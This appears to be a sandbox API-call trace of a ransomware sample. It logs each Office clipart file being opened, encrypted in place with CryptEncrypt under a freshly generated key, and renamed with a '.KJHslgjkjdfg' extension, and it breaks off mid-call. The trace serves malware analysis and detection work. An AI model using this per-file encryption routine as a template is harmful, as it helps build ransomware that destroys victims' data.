RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.648] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.648] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.650] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.651] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.651] GetProcessHeap () returned 0x990000 [0198.651] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.651] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.651] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.651] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.651] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.651] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.652] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1484, lpOverlapped=0x0) returned 1 [0198.659] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490, dwBufLen=0x1490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490) returned 1 [0198.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.659] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1490, lpOverlapped=0x0) returned 1 [0198.659] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.659] SetEndOfFile (hFile=0x130) returned 1 [0198.662] GetProcessHeap () returned 0x990000 [0198.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.662] GetProcessHeap () returned 0x990000 [0198.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.kjhslgjkjdfg")) returned 1 [0198.664] CloseHandle (hObject=0x130) returned 1 [0198.664] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0198.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.665] GetProcessHeap () returned 0x990000 [0198.665] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.665] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.665] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.667] GetProcessHeap () returned 0x990000 [0198.668] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.668] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.668] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.668] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.668] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.668] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.668] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.668] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27b4, lpOverlapped=0x0) returned 1 [0198.669] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27c0) returned 1 [0198.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.670] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x27c0, lpOverlapped=0x0) returned 1 [0198.670] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.670] SetEndOfFile (hFile=0x130) returned 1 [0198.673] GetProcessHeap () returned 0x990000 [0198.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.673] GetProcessHeap () returned 0x990000 [0198.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.kjhslgjkjdfg")) returned 1 [0198.674] CloseHandle (hObject=0x130) returned 1 [0198.675] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0198.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.676] GetProcessHeap () returned 0x990000 [0198.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.676] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.676] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.678] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.678] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.678] GetProcessHeap () returned 0x990000 [0198.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.678] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.678] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.678] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.679] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.679] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.679] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x302c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x302c, lpOverlapped=0x0) returned 1 [0198.681] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3030, dwBufLen=0x3030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3030) returned 1 [0198.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.681] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3030, lpOverlapped=0x0) returned 1 [0198.681] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.681] SetEndOfFile (hFile=0x130) returned 1 [0198.684] GetProcessHeap () returned 0x990000 [0198.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.684] GetProcessHeap () returned 0x990000 [0198.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.kjhslgjkjdfg")) returned 1 [0198.686] CloseHandle (hObject=0x130) returned 1 [0198.687] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0198.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.689] GetProcessHeap () returned 0x990000 [0198.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.689] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.689] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.691] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.691] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.691] GetProcessHeap () returned 0x990000 [0198.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.691] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.691] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.691] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.692] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.692] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.692] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.692] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2004, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2004, lpOverlapped=0x0) returned 1 [0198.693] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2010, dwBufLen=0x2010 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2010) returned 1 [0198.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.694] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2010, lpOverlapped=0x0) returned 1 [0198.694] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.694] SetEndOfFile (hFile=0x130) returned 1 [0198.697] GetProcessHeap () returned 0x990000 [0198.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.697] GetProcessHeap () returned 0x990000 [0198.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.kjhslgjkjdfg")) returned 1 [0198.698] CloseHandle (hObject=0x130) returned 1 [0198.699] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0198.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.700] GetProcessHeap () returned 0x990000 [0198.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.700] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.701] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.708] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.708] GetProcessHeap () returned 0x990000 [0198.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.708] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.708] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.708] WriteFile (in: hFile=0x130, 